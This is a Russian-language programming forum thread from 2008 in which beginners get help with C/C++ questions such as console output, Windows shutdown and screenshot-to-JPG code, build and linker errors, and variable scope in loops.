<цифра> = (1, 2, 3, 4, 5, 6, 7, 8, 9, 0, a, b, c, d, e, f)

но это сработает не с полной вероятностью, чтобы было правильно надо всё слово (с помощью поиска пробелов) проверять на наличие только <цифр> и символа 'h' в конце.

_antony
15.08.2008, 13:26
пример строки?
ну вообще что-нить типа
if (str[x-1] = <цифра> && str[x] = 'h' && str[x+1] = ' ')
<цифра> = (1, 2, 3, 4, 5, 6, 7, 8, 9, 0, a, b, c, d, e, f)

но это сработает не с полной вероятностью, чтобы было правильно надо всё слово (с помощью поиска пробелов) проверять на наличие только <цифр> и символа 'h' в конце.
неверное условие. не = , а ==

iv.
15.08.2008, 13:28
типичная ошибка новичка)) спасибо, поправил

_antony
15.08.2008, 13:47
можно поподробнее о задаче? как эти числа хранятся , в каком формате и пример .

ronald
15.08.2008, 15:52
Совершенно LOL вопрос от меня(простите плиз я токо 20 стр. в книге на данный момент прошёл xD) какую операцию нужно вписать в код программы, чтобы вывод остался на экране? (в екзешнике отбиченном), желательно ответ в ЛС

_antony
15.08.2008, 16:23
1.getch()
2.system("pause")
выбирай)

iv.
15.08.2008, 16:31
Совершенно LOL вопрос от меня(простите плиз я токо 20 стр. в книге на данный момент прошёл xD) какую операцию нужно вписать в код программы, чтобы вывод остался на экране? (в екзешнике отбиченном), желательно ответ в ЛС
а он и остается =) или ты хотел чтобы консоль осталась? тогда запускай в CMD или в среде программирования запускай прогу без дебаггинга (в VS это Ctrl+F5 вроде).

M@X Dr.Akyla
15.08.2008, 17:13
Совершенно LOL вопрос от меня(простите плиз я токо 20 стр. в книге на данный момент прошёл xD) какую операцию нужно вписать в код программы, чтобы вывод остался на экране? (в екзешнике отбиченном), желательно ответ в ЛС

Я так понел тебе надо что бы консоль не исчезла.
Это можно сделать с помощью :
int r; // обьявляется переменная r типа int
cin >> r; // оператор cin ждет пока Вы из кансоли присвоете значение переменной r.
retern 0;
// Консоль не исчезает пока переменной r не будет присвоено значение.
з.ы. Прописывать надо в комце функции main . (можно сказать заместо retern 0;)

ronald
15.08.2008, 17:44
СПасибо

Vid0k
15.08.2008, 18:02
легче getch();
добавь в начало #include <conio.h>
консоль не закроется пока не нажмешь любую клавишу

_Psi_
15.08.2008, 19:42
ctrl+f5

procedure
16.08.2008, 04:04
Подскажите пожалуйста программу которая ест мало мощьности, которую можно былобы допустим поставить на сервер компилировать и сразу проверять программы на С и желательно С++.

NC22
17.08.2008, 02:36
Подскажите ф-цию которая могла бы заменить все определенные символы в строке на другие и вернуть строку с изменениями. Допустим есть "0.0000 0.3324 0.32" надо чтобы было "0,0000 0,3324 0,32" Я больше по Php и там такая функция была. Здесь что-нибудь похожее есть или переберать все символы по порядку?

SpangeBoB
17.08.2008, 03:05
replace() библиотека string.

NC22
17.08.2008, 07:16
SpangeBoB Забыл сказать что это для Borland C++ Builder и replace'a в string'e ненаходит

nerezus
17.08.2008, 11:06
#include <string>
и юзаешь для строк string тип.

Либо читаешь справку к методам твоего класса строк

ronald
17.08.2008, 12:09
Алоха! Итак, у миня вопрос, не могли вы подсказать, как завставить программу саму прописываться в автозагрузку, а также выключать компьютер? +10 за помощь)))

0x0c0de
17.08.2008, 12:37
>>выключать компьютер
http://msdn.microsoft.com/en-us/library/aa376871(VS.85).aspx

>> прописываться в автозагрузку
и здесь 9 пост на 31 странице
http://forum.ru-board.com/topic.cgi?forum=33&topic=0555&start=600

ronald
17.08.2008, 13:08
Подскажите плиз в чём проблема:делаю консольное приложение(выдаёт ошипки)
вот Код:
#include <iostream.h>

int main()
{
MySystemShutdown();
return 0;
}
BOOL MySystemShutdown()
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

// Get a token for this process.

if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return( FALSE );

// Get the LUID for the shutdown privilege.

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,
&tkp.Privileges[0].Luid);

tkp.PrivilegeCount = 1; // one privilege to set
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

// Get the shutdown privilege for this process.

AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,
(PTOKEN_PRIVILEGES)NULL, 0);

if (GetLastError() != ERROR_SUCCESS)
return FALSE;

// Shut down the system and force all applications to close.

if (!ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE,
SHTDN_REASON_MAJOR_OPERATINGSYSTEM |
SHTDN_REASON_MINOR_UPGRADE |
SHTDN_REASON_FLAG_PLANNED))
return FALSE;

return TRUE;
}

0x0c0de
17.08.2008, 13:10
>>консольное приложение(выдаёт ошипки)

#include <windows.h>

ronald
17.08.2008, 13:13
Ошипки:'SHTDN_REASON_MAJOR_OPERATINGSYSTEM' : undeclared identifier
'SHTDN_REASON_MINOR_UPGRADE' : undeclared identifier
SHTDN_REASON_FLAG_PLANNED' : undeclared identifier

0x0c0de
17.08.2008, 13:21
Тогда напишите вместо SHTDN_REASON_MAJOR_OPERATINGSYSTEM - 0x00020000
SHTDN_REASON_MINOR_UPGRADE - 0x00000003
SHTDN_REASON_FLAG_PLANNED - 0x80000000

в общем числовое значение констант

при подключении windows.h проблем с этим быть не должно.... странно

*вы msdn-то сами смотрите. там же полно информации, чтобы одни и те же вопросы не задавать

ronald
17.08.2008, 13:27
странна, не выключаит((

ronald
17.08.2008, 14:19
Уря, я доделал программу, скоро кое-чё в ней подредактирую и выложу на всемирное обозрение!!!!

sharkerr
18.08.2008, 08:13
пример строки?
ну вообще что-нить типа
if (str[x-1] == <цифра> && str[x] == 'h' && str[x+1] == ' ')
<цифра> = (1, 2, 3, 4, 5, 6, 7, 8, 9, 0, a, b, c, d, e, f)

но это сработает не с полной вероятностью, чтобы было правильно надо всё слово (с помощью поиска пробелов) проверять на наличие только <цифр> и символа 'h' в конце.
Строка типа : 0xafdy 0xa23af kdfgjssdfg 0xa

Zedi
18.08.2008, 19:51
А в этой теме можно задавать вопросы по сишарпу?

_Psi_
18.08.2008, 20:17
Думаю да:)

nerezus
18.08.2008, 20:17
нет

procedure
19.08.2008, 20:21
Блин, чуваки кто нить может подсказать, какой нить компилятор слабенький под винду. На сервак поставить нужно срочно. Толкьо не надо гиговые приложения и студии разработки советовать, сервак и так кое как держиться.

jawbreaker
19.08.2008, 20:28
mingw подойдёт? gcc под винду весит очень мало, особенно если без IDE(mingw.org)

FIND_ERROR
19.08.2008, 22:13
пишу прожку в CodeGear (Builder) на форме имееться DBGrid1 у него свойство DataSourse=DataSourse1 у которого DataSet=ClientDatasSet1 в ClientDatasSet1 свойство FileName=123.xml а также в DBGrid1 свойства multiselect = true и selrow = true
так вот реализовать надо удаление всех выделенных записей...

зарание сенк!

ronald
20.08.2008, 14:43
Советую Dev cpp http://www.bloodshed.net/download.html
(за помощь плюсы,плюсы,плюсы...)

BEGINER
22.08.2008, 10:39
Доброго времени суток.
Подскажите пожалуйста как сделать скриншот экрана(игры) и записать его в JPG.
Стандартный PrintScreen делает это некорректно. Получаю образ экрана, могу его записать в BMP, но получаю слишком большой размер файла.

0x22b
22.08.2008, 11:05
SnagIT

W!z@rD
24.08.2008, 18:22
Доброго времени суток.
Подскажите пожалуйста как сделать скриншот экрана(игры) и записать его в JPG.
Стандартный PrintScreen делает это некорректно. Получаю образ экрана, могу его записать в BMP, но получаю слишком большой размер файла.

1. ошибся разделом
2. mspaint -> ctrl+v -> save as (*.jpeg)

BEGINER
24.08.2008, 19:51
1. ошибся разделом
2. mspaint -> ctrl+v -> save as (*.jpeg)
1 прога пишется на Си(блокируется поверхность и по пикселю записывается в файл)
2 mspaint не делает сглаживания, а Photoshop‘а нет

ForNeVeR
25.08.2008, 06:49
BEGINER, т.е. ты хочешь, чтобы твоя прога делала сглаживание? Прикрути бикубический алгоритм тогда.

BEGINER
25.08.2008, 16:18
BEGINER, т.е. ты хочешь, чтобы твоя прога делала сглаживание? Прикрути бикубический алгоритм тогда.Да, но это не главное, мне нужно сохранить образ экрана в JPG файл. Сейчас скидываю экран размером 800х600 в файл, получаю 960Кб. Это много!

Smapt
25.08.2008, 17:54
BEGINER, вот код (проверял в VC++2008). Сохраняет в JPG + можно устанавливать степень сжатия.

#include "stdafx.h"
#include <windows.h>
#include <gdiplus.h>


#pragma comment (lib, "gdiplus.lib")

using namespace Gdiplus;


int GetEncoderClsid(WCHAR *format, CLSID *pClsid)
{
unsigned int num = 0, size = 0;
GetImageEncodersSize(&num, &size);
if(size == 0) return -1;
ImageCodecInfo *pImageCodecInfo = (ImageCodecInfo *)(malloc(size));
if(pImageCodecInfo == NULL) return -1;
GetImageEncoders(num, size, pImageCodecInfo);
for(unsigned int j = 0; j < num; ++j){
if(wcscmp(pImageCodecInfo[j].MimeType, format) == 0){
*pClsid = pImageCodecInfo[j].Clsid;
free(pImageCodecInfo);
return j;
}
}
free(pImageCodecInfo);
return -1;
}

int GetScreeny(LPWSTR lpszFilename, ULONG uQuality) // by Napalm
{
ULONG_PTR gdiplusToken;
GdiplusStartupInput gdiplusStartupInput;
GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);

HDC hdcScreen = CreateDC(L"DISPLAY", NULL, NULL, NULL);
HDC hdcCapture = CreateCompatibleDC(hdcScreen);
int nWidth = GetDeviceCaps(hdcScreen, HORZRES),
nHeight = GetDeviceCaps(hdcScreen, VERTRES),
nBPP = GetDeviceCaps(hdcScreen, BITSPIXEL);

LPBYTE lpCapture;
BITMAPINFO bmiCapture = { {
sizeof(BITMAPINFOHEADER), nWidth, -nHeight, 1, nBPP, BI_RGB, 0, 0, 0, 0, 0,
} };
HBITMAP hbmCapture = CreateDIBSection(hdcScreen, &bmiCapture,
DIB_PAL_COLORS, (LPVOID *)&lpCapture, NULL, 0);
if(!hbmCapture){
DeleteDC(hdcCapture);
DeleteDC(hdcScreen);
GdiplusShutdown(gdiplusToken);
return 1;
}

int nCapture = SaveDC(hdcCapture);
SelectObject(hdcCapture, hbmCapture);
BitBlt(hdcCapture, 0, 0, nWidth, nHeight, hdcScreen, 0, 0, SRCCOPY);
RestoreDC(hdcCapture, nCapture);
DeleteDC(hdcCapture);
DeleteDC(hdcScreen);

CLSID imageCLSID;
Bitmap *pScreenShot = new Bitmap(hbmCapture, (HPALETTE)NULL);
EncoderParameters encoderParams;
encoderParams.Count = 1;
encoderParams.Parameter[0].NumberOfValues = 1;
encoderParams.Parameter[0].Guid = EncoderQuality;
encoderParams.Parameter[0].Type = EncoderParameterValueTypeLong;
encoderParams.Parameter[0].Value = &uQuality;
GetEncoderClsid(L"image/jpeg", &imageCLSID);
int result = (pScreenShot->Save(lpszFilename, &imageCLSID, &encoderParams) == Ok);
delete pScreenShot;
DeleteObject(hbmCapture);
GdiplusShutdown(gdiplusToken);
return result;
}


int main()
{
return GetScreeny(L"screeny.jpg", 75); //75-степень сжатия скрина
}

BEGINER
25.08.2008, 20:10
Smapt большое спасибо, то что нужно. Вставил в VC6, получил кучу ошибок, добавил SDK их стало меньше, остались такие:

f:\program files\microsoft sdks\windows\v6.1\include\winnt.h(3607) : warning C4035: 'ReadPMC' : no return value
f:\program files\microsoft sdks\windows\v6.1\include\winnt.h(3637) : warning C4035: 'ReadTimeStampCounter' : no return value
f:\program files\microsoft sdks\windows\v6.1\include\wingdi.h(4340) : warning C4068: unknown pragma
f:\program files\microsoft sdks\windows\v6.1\include\wingdi.h(4341) : warning C4068: unknown pragma
f:\program files\microsoft sdks\windows\v6.1\include\bcrypt.h(112) : error C2485: 'align' : unrecognized extended attribute
f:\program files\microsoft sdks\windows\v6.1\include\bcrypt.h(112) : error C2059: syntax error : '('
f:\program files\microsoft sdks\windows\v6.1\include\bcrypt.h(118) : error C2485: 'align' : unrecognized extended attribute
f:\program files\microsoft sdks\windows\v6.1\include\bcrypt.h(118) : error C2059: syntax error : '('
F:\project\gdirest\gdirest.cpp(44) : error C2664: 'CreateDCA' : cannot convert parameter 1 from 'unsigned short [8]' to 'const char *'
Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
Error executing cl.exe.
gdirest.exe - 5 error(s), 4 warning(s)

Как можно их исправить?

Smapt
25.08.2008, 20:23
Первые 4 варнинга и ошибки у тебя как раз в СДК который ты добавил, так-что разбирайся с ним. А вообще поставь Vc9, я думаю проблемы пропадут.

BEGINER
26.08.2008, 14:06
Спасибо, придется скачать пару сотен мегабайт ради джипега

BEGINER
26.08.2008, 18:24
Первые 4 варнинга и ошибки у тебя как раз в СДК который ты добавил, так-что разбирайся с ним. А вообще поставь Vc9, я думаю проблемы пропадут.
Поставил Visual C++ 2008
Все равно что-то не нравится, не знаю куда копать
Build Log Rebuild started: Project: gdi_prog, Configuration: Debug|Win32
Command Lines Creating temporary file "f:\project\gdi_prog\gdi_prog\Debug\RSP000007851648 5732.rsp" with contents
[
/Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_UNICODE" /D "UNICODE" /Gm /EHsc /RTC1 /MDd /Yu"stdafx.h" /Fp"Debug\gdi_prog.pch" /Fo"Debug\\" /Fd"Debug\vc90.pdb" /W3 /c /ZI /TP .\gdi_prog.cpp
]
Creating command line "cl.exe @f:\project\gdi_prog\gdi_prog\Debug\RSP00000785164 85732.rsp /nologo /errorReport:prompt"
Creating temporary file "f:\project\gdi_prog\gdi_prog\Debug\RSP000008851648 5732.rsp" with contents
[
/Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_UNICODE" /D "UNICODE" /Gm /EHsc /RTC1 /MDd /Yc"stdafx.h" /Fp"Debug\gdi_prog.pch" /Fo"Debug\\" /Fd"Debug\vc90.pdb" /W3 /c /ZI /TP .\stdafx.cpp
]
Creating command line "cl.exe @f:\project\gdi_prog\gdi_prog\Debug\RSP00000885164 85732.rsp /nologo /errorReport:prompt"
Creating temporary file "f:\project\gdi_prog\gdi_prog\Debug\TMP000009851648 5732.tmp" with contents
[
1 /* CREATEPROCESS_MANIFEST_RESOURCE_ID */ 24 /* RT_MANIFEST */ ".\\Debug\\gdi_prog.exe.embed.manifest"
]
Creating command line "rc.exe /fo".\Debug\gdi_prog.exe.embed.manifest.res" f:\project\gdi_prog\gdi_prog\Debug\TMP000009851648 5732.tmp"
Creating temporary file "f:\project\gdi_prog\gdi_prog\Debug\RSP00000A851648 5732.rsp" with contents
[
/OUT:"F:\project\gdi_prog\Debug\gdi_prog.exe" /INCREMENTAL /MANIFEST /MANIFESTFILE:"Debug\gdi_prog.exe.intermediate.manifest" /MANIFESTUAC:"level='asInvoker' uiAccess='false'" /DEBUG /PDB:"F:\project\gdi_prog\Debug\gdi_prog.pdb" /SUBSYSTEM:CONSOLE /DYNAMICBASE /NXCOMPAT /MACHINE:X86 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib

".\Debug\stdafx.obj"

".\Debug\gdi_prog.obj"

".\Debug\gdi_prog.exe.embed.manifest.res"
]
Creating command line "link.exe @f:\project\gdi_prog\gdi_prog\Debug\RSP00000A85164 85732.rsp /NOLOGO /ERRORREPORT:PROMPT"
Creating temporary file "f:\project\gdi_prog\gdi_prog\Debug\RSP00000B851648 5732.rsp" with contents
[
/out:.\Debug\gdi_prog.exe.embed.manifest /notify_update /manifest

.\Debug\gdi_prog.exe.intermediate.manifest
]
Creating command line "mt.exe @f:\project\gdi_prog\gdi_prog\Debug\RSP00000B85164 85732.rsp /nologo"
Output Window Compiling...
stdafx.cpp
Compiling...
gdi_prog.cpp
Compiling manifest to resources...
Linking...
LINK : F:\project\gdi_prog\Debug\gdi_prog.exe not found or not built by the last incremental link; performing full link
Embedding manifest...
Project : error PRJ0003 : Error spawning 'mt.exe'.
Results Build log was saved at "file://f:\project\gdi_prog\gdi_prog\Debug\BuildLog.htm"
gdi_prog - 1 error(s), 0 warning(s)

Smapt
26.08.2008, 19:18
BEGINER, вот твоя ошибка на MSDNe. (http://msdn.microsoft.com/en-us/library/d5cbdh4t.aspx), ну а если вкратце как я понял, могут быть следующие причины:
1) У тебя недостаточно прав для выполнения какой-то операции при компиляции.
2) В настройках неправельно указан путь к каким- либо файлам нужным при компиляции.
3) MT.exe (обычно лежит тут "C:\Program Files\Microsoft Visual Studio 9.0\VC\bin\mt.exe") повреждён? либо его там вообще нету)

Куда копать я думаю ясно.

BEGINER
26.08.2008, 20:39
BEGINER, вот твоя ошибка на MSDNe. (http://msdn.microsoft.com/en-us/library/d5cbdh4t.aspx), ну а если вкратце как я понял, могут быть следующие причины:
1) У тебя недостаточно прав для выполнения какой-то операции при компиляции.
2) В настройках неправельно указан путь к каким- либо файлам нужным при компиляции.
3) MT.exe (обычно лежит тут "C:\Program Files\Microsoft Visual Studio 9.0\VC\bin\mt.exe") повреждён? либо его там вообще нету)

Куда копать я думаю ясно.
Smapt, большое спасибо, заработало, правда почему-то требует msvcr90d.dll(наверно придется с собой таскать). :mad:
Буду думать как это прикрутить к существующему проекту на VC6

ronald
26.08.2008, 21:14
не мучайся, а просто перекрути проект Vs 6 на 2008-ую, язык и компилятор по сути схожи, там полчасика отсилы потратишь на едит и всё

0x0c0de
27.08.2008, 06:53
>>Smapt, большое спасибо, заработало, правда почему-то требует msvcr90d.dll

У меня более ранняя версия VS и там, чтобы не просило либ нужно в настройках проекта в Configuration Properties -> General указать Minimize Crt Use in ATL - Yes. Возможно, в следующих версиях отключается аналогичным [ну или схожим образом].

Спасибо за внимание

ExZoD
28.08.2008, 05:20
не мучайся, а просто перекрути проект Vs 6 на 2008-ую, язык и компилятор по сути схожи, там полчасика отсилы потратишь на едит и всё
на сколько я портировал проекты из семерки в девятку, то там встроенный портер есть и вроде шестерку он тоже колбасит. По поводу библы msvcr90d.dll - это из-за динамической линковки. раскручиваем гуглъ как статически линковать проекты.

BEGINER
28.08.2008, 05:44
>>Smapt, большое спасибо, заработало, правда почему-то требует msvcr90d.dll

У меня более ранняя версия VS и там, чтобы не просило либ нужно в настройках проекта в Configuration Properties -> General указать Minimize Crt Use in ATL - Yes. Возможно, в следующих версиях отключается аналогичным [ну или схожим образом].

Спасибо за внимание
Спасибо, больше не требует ничего, работает,размер файла 40Кб.
Запустил его на другой машине(где нет VC9), стал ругаться "This application has failed to start because the application configuration is incorrect. Reinstalling the application may fix this problem" С чего бы это?

BEGINER
28.08.2008, 05:51
на сколько я портировал проекты из семерки в девятку, то там встроенный портер есть и вроде шестерку он тоже колбасит. По поводу библы msvcr90d.dll - это из-за динамической линковки. раскручиваем гуглъ как статически линковать проекты.
Пытался перекрутить проект с VC6 на VC8. Файл проекта он сконвертировал, а код остался старым. При компиляции показывает более 100 ошибок :mad: Больше всего ему не нравились такие строчки где есть "extern " а таких строк у меня сотни

файл1.срр
int i=0;
файл2.срр
extern i; //здесь VC8 ругается, что типа int не по умолчанию, хотя VC6 компилит молча

nerezus
28.08.2008, 09:22
Больше всего ему не нравились такие строчки где есть "extern " а таких строк у меня сотни И правильно ругается - все же синтаксическая ошибка) Так что через тот компилер собирать придется, под которым писался код.

Fruit
28.08.2008, 20:36
здесь VC8 ругается, что типа int не по умолчанию, хотя VC6 компилит молча


Оно и к лучшему. Чем больше поддержка стандарта, тем лучше нам всем будет. ;)

agrofyl2
29.08.2008, 08:42
Здравствуйте.
Это опять я.
И у меня пару вопросов:
1. Как можно организовать скачку файла(может, есть какие нибудь функции, а не просто отправкой Get запроса). А как файл докачать?
2. Как проверить сущ. файла.
3. Как скопировать запускаемый файл(мой) куда нибудь еще(не знаю как определить путь к файлу).

Спасибо.

agrofyl2
29.08.2008, 09:13
такс. по докачке инфу нашел, http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.35


как путь определить вроде тоже:

char *program;
program=GetExePath();


Буду пытатца... Ох не люблю я с HTTP работать, тем более в С++

BEGINER
29.08.2008, 10:01
Скомпилировал код из поста 1433 в Vc9. На моем компе все идет. на других компах не запускается. ЧТо делать?

ForNeVeR
29.08.2008, 11:17
BEGINER, видимо, твоя прога требует для работы библиотеки, идущие сместе со студией.

Заходишь в свойства проекта > Configuration Properties > General > Use of MFC выставляешь Use MFC in a Static Library. После этого твоя программа будет работать без дополнительных библиотек.

BEGINER
29.08.2008, 12:25
BEGINER, видимо, твоя прога требует для работы библиотеки, идущие сместе со студией.

Заходишь в свойства проекта > Configuration Properties > General > Use of MFC выставляешь Use MFC in a Static Library. После этого твоя программа будет работать без дополнительных библиотек.
Программа консольная, неужели ей нужен MFC?

ForNeVeR
29.08.2008, 12:32
Консольная программа тоже может создавать окошки. Сначала попробуй, потом удивляйся.

BEGINER
29.08.2008, 12:39
Консольная программа тоже может создавать окошки. Сначала попробуй, потом удивляйся.
Попробовал. 11 error(s) :mad:
Build Log Build started: Project: screenshot_jpg, Configuration: Release|Win32
Command Lines Creating temporary file "f:\project\screenshot_jpg\Release\RSP0000117596231 2.rsp" with contents
[
/OUT:"F:\project\screenshot_jpg\Release\screenshot_jpg.e xe" /INCREMENTAL:NO /MANIFEST /MANIFESTFILE:"Release\screenshot_jpg.exe.intermediate.manifest" /MANIFESTUAC:"level='asInvoker' uiAccess='false'" /DELAYLOAD:"OleAcc.dll" /DEBUG /PDB:"f:\project\screenshot_jpg\Release\screenshot_jpg.p db" /SUBSYSTEM:CONSOLE /LARGEADDRESSAWARE:NO /TSAWARE:NO /OPT:REF /OPT:ICF /OPT:WIN98 /DYNAMICBASE /NXCOMPAT /DELAY:UNLOAD /MACHINE:X86 GdiPlus.lib DelayImp.lib

".\Release\screenshot_jpg.obj"

".\Release\stdafx.obj"
]
Creating command line "link.exe @f:\project\screenshot_jpg\Release\RSP000011759623 12.rsp /NOLOGO /ERRORREPORT:PROMPT"
Output Window Linking...
LINK : warning LNK4224: /OPT:WIN98 is no longer supported; ignored
LINK : warning LNK4199: /DELAYLOAD:OleAcc.dll ignored; no imports found from OleAcc.dll
screenshot_jpg.obj : error LNK2019: unresolved external symbol __imp__DeleteObject@4 referenced in function "int __cdecl GetScreeny(wchar_t *,unsigned long)" (?GetScreeny@@YAHPA_WK@Z)
screenshot_jpg.obj : error LNK2019: unresolved external symbol __imp__RestoreDC@8 referenced in function "int __cdecl GetScreeny(wchar_t *,unsigned long)" (?GetScreeny@@YAHPA_WK@Z)
screenshot_jpg.obj : error LNK2019: unresolved external symbol __imp__BitBlt@36 referenced in function "int __cdecl GetScreeny(wchar_t *,unsigned long)" (?GetScreeny@@YAHPA_WK@Z)
screenshot_jpg.obj : error LNK2019: unresolved external symbol __imp__SelectObject@8 referenced in function "int __cdecl GetScreeny(wchar_t *,unsigned long)" (?GetScreeny@@YAHPA_WK@Z)
screenshot_jpg.obj : error LNK2019: unresolved external symbol __imp__SaveDC@4 referenced in function "int __cdecl GetScreeny(wchar_t *,unsigned long)" (?GetScreeny@@YAHPA_WK@Z)
screenshot_jpg.obj : error LNK2019: unresolved external symbol __imp__DeleteDC@4 referenced in function "int __cdecl GetScreeny(wchar_t *,unsigned long)" (?GetScreeny@@YAHPA_WK@Z)
screenshot_jpg.obj : error LNK2019: unresolved external symbol __imp__CreateDIBSection@24 referenced in function "int __cdecl GetScreeny(wchar_t *,unsigned long)" (?GetScreeny@@YAHPA_WK@Z)
screenshot_jpg.obj : error LNK2019: unresolved external symbol __imp__GetDeviceCaps@8 referenced in function "int __cdecl GetScreeny(wchar_t *,unsigned long)" (?GetScreeny@@YAHPA_WK@Z)
screenshot_jpg.obj : error LNK2019: unresolved external symbol __imp__CreateCompatibleDC@4 referenced in function "int __cdecl GetScreeny(wchar_t *,unsigned long)" (?GetScreeny@@YAHPA_WK@Z)
screenshot_jpg.obj : error LNK2019: unresolved external symbol __imp__CreateDCW@16 referenced in function "int __cdecl GetScreeny(wchar_t *,unsigned long)" (?GetScreeny@@YAHPA_WK@Z)
F:\project\screenshot_jpg\Release\screenshot_jpg.e xe : fatal error LNK1120: 10 unresolved externals
Results Build log was saved at "file://f:\project\screenshot_jpg\Release\BuildLog.htm"
screenshot_jpg - 11 error(s), 2 warning(s)

ForNeVeR
29.08.2008, 12:50
BEGINER, исходники в студию. Ну или иди... в аську.

BEGINER
29.08.2008, 12:54
BEGINER, исходники в студию. Ну или иди... в аську.
Исходник в посте 1433
Все заработало, спасибо.
Пришлось добавить GDI32.lib

4y4o
29.08.2008, 19:10
#include "stdafx.h"
#include <iostream>
using namespace std;
int main()
{
for (int x = 1; x <= 10; x++)
{
if (x == 5)
break;
cout << x << " ";
}
cout << "Cukl prervan pri x == 5 " << x << endl;
return 0;
}

'x' : undeclared identifier почему так?

Smapt
29.08.2008, 19:13
#include "stdafx.h"
#include <iostream>
using namespace std;
int main()
{
int x;
for (x = 1; x <= 10; x++)
{
if (x == 5)
break;
cout << x << " ";
}
cout << "Cukl prervan pri x == 5 " << x << endl;
return 0;
}


Попробуй так. У тебя X инициализируется только для цикла, а когда ты выводиш его после цикла вылазит ошибка.

4y4o
29.08.2008, 19:36
#include "stdafx.h"
#include <iostream>
using namespace std;
int main()
{
int x;
for (x = 1; x <= 10; x++)
{
if (x == 5)
break;
cout << x << " ";
}
cout << "Cukl prervan pri x == 5 " << x << endl;
return 0;
}


Попробуй так. У тебя X инициализируется только для цикла, а когда ты выводиш его после цикла вылазит ошибка.

Блин пример из книжки и лажа. По логике значение x присваивается оператором for или я чего-то не допонял?

Smapt
29.08.2008, 19:39
В твоём примере Х существует только для цикла for, после выхода из цикла ты уже не сможеш его использовать.

4p3
29.08.2008, 19:43
Блин пример из книжки и лажа. По логике значение x присваивается оператором for или я чего-то не допонял?

Есть такое понятие как область видимости.
Если переменная объявлена в теле цикла, то по завершению цикла она уничтожается. Тоже самое для функций.

Кури Страуструпа "Язык С++" или гугль по слова static, auto или "область видимость переменных".

4y4o
29.08.2008, 19:57
Страуструпа рано мне курить ещё _))) спасибо за помощь )

4p3
29.08.2008, 20:45
Ты смотришь на сообщение от Smapt. Он исправил код 4y4o и поместил x вне цикла.

Добавлено позже. Если это VC++ 6, то все будет работать, так как он не дружит со стандартами.

BEGINER
29.08.2008, 20:45
#include "stdafx.h"
#include <iostream>
using namespace std;
int main()
{
for (int x = 1; x <= 10; x++)
{
if (x == 5)
break;
cout << x << " ";
}
cout << "Cukl prervan pri x == 5 " << x << endl;
return 0;
}

'x' : undeclared identifier почему так?
У меня этот пример нормально работает. Вероятно это зависит от компилятора

nerezus
30.08.2008, 09:18
У меня этот пример нормально работает. Вероятно это зависит от компилятора Он не должен работать - область видимости, где есть X, заканчивается после } цикла for.
Поэтому и 'x' : undeclared identifier - все верно.

Модифицируй так:

int x;
for (x = 1; x <= 10; x++)
{

4y4o
30.08.2008, 09:50
Никто не знает где взять ответы на вопросы для самоконтроля Дейтел, Дейтел 2007 год пятое малое издание?

Cheka
30.08.2008, 09:50
Он не должен работать - область видимости, где есть X, заканчивается после } цикла for.
Поэтому и 'x' : undeclared identifier - все верно.

Модифицируй так:

int x;
for (x = 1; x <= 10; x++)
{

Вообщето правило области видимости, работает для фукнций, а не для составных операторов и для тел циклов, если мне не изменяет память...

P.S. У меня на Визуал С++ 6 скомпилировалось без ошибок.

nerezus
30.08.2008, 10:13
Вообщето правило области видимости, работает для фукнций, а не для составных операторов и для тел циклов, если мне не изменяет память...

Ты не прав: вот тебе пример:


#include "stdio.h"

int main() {
int x = 1;
printf("1: %d\n", x);
{
printf("2: %d\n", x);
int x = 2;
printf("3: %d\n", x);
}
printf("4: %d\n", x);
getchar();
return 0;
}

Переменная, объявленная во внутреннем блоке, замещает ту, которая объявлена во внешнем(примеры 2 и 3 в программе). Однако в конце блока она исчезает(примеры 3 и 4)


P.S. У меня на Визуал С++ 6 скомпилировалось без ошибок. Очень старый компилятор. Обнови.
Более новые версии уже не компилят этот код. И правильно делают - в коде ошибка.

4y4o
30.08.2008, 10:20
Ребятки ответы на Дейтела нужны!!! 2007 год книженция

Barttos
30.08.2008, 11:31
Добрый день
Нужна книга по Visual C++ 2008
Нашол только старые и одну 2005-ого года

nerezus
30.08.2008, 11:32
Добрый день
Нужна книга по Visual C++ 2008
Нашол только старые и одну 2005-ого года Спокойной ночи. Читай закрепленную в разделе тему.

BEGINER
30.08.2008, 13:02
Он не должен работать - область видимости, где есть X, заканчивается после } цикла for.
Поэтому и 'x' : undeclared identifier - все верно.

Прошу прощения, я совершенно не понимаю, что такое область видимости.
Вы не могли бы показать где находится область видимости в коде полученном после компиляции этой программы?
Там четко видно, что переменная х находится по адресу dword ptr [ebp-4] даже после выхода из цикла for. И, следовательно, ее без проблем можно вывести на экран. Почему же тогда компилятор ругается?


//задаем х
00401588 mov dword ptr [ebp-4],1 //x=1
0040158F jmp 0040159a
00401591 mov eax,dword ptr [ebp-4] //
00401594 add eax,1 //x++;
00401597 mov dword ptr [ebp-4],eax //
0040159A cmp dword ptr [ebp-4],0Ah //x<=10
0040159E jg 004015c6
//{
//проверка х
004015A0 cmp dword ptr [ebp-4],5 //if(x==5)
004015A4 jne 004015a8
004015A6 jmp 004015c6 //break
//вывод х
004015A8 push offset 0046c03c //" "
004015AD mov ecx,dword ptr [ebp-4] //x
004015B0 push ecx
004015B1 mov ecx,004777e0 //cout
004015B6 call 004010ff //<<
004015BB push eax
004015BC call 00401285 //<<
004015C1 add esp,8
004015C4 jmp 00401591
//}
//вывод х
004015C6 push offset 004010c8 // \n
004015CB mov edx,dword ptr [ebp-4] // x
004015CE push edx
004015CF push offset 0046c01c //"Cukl prervan pri x == 5 "
004015D4 push 004777e0 //cout
004015D9 call 00401285 //<<
004015DE add esp,8
004015E1 mov ecx,eax
004015E3 call 004010ff //<<
004015E8 mov ecx,eax
004015EA call 004011e0 //<<

ExZoD
30.08.2008, 14:02
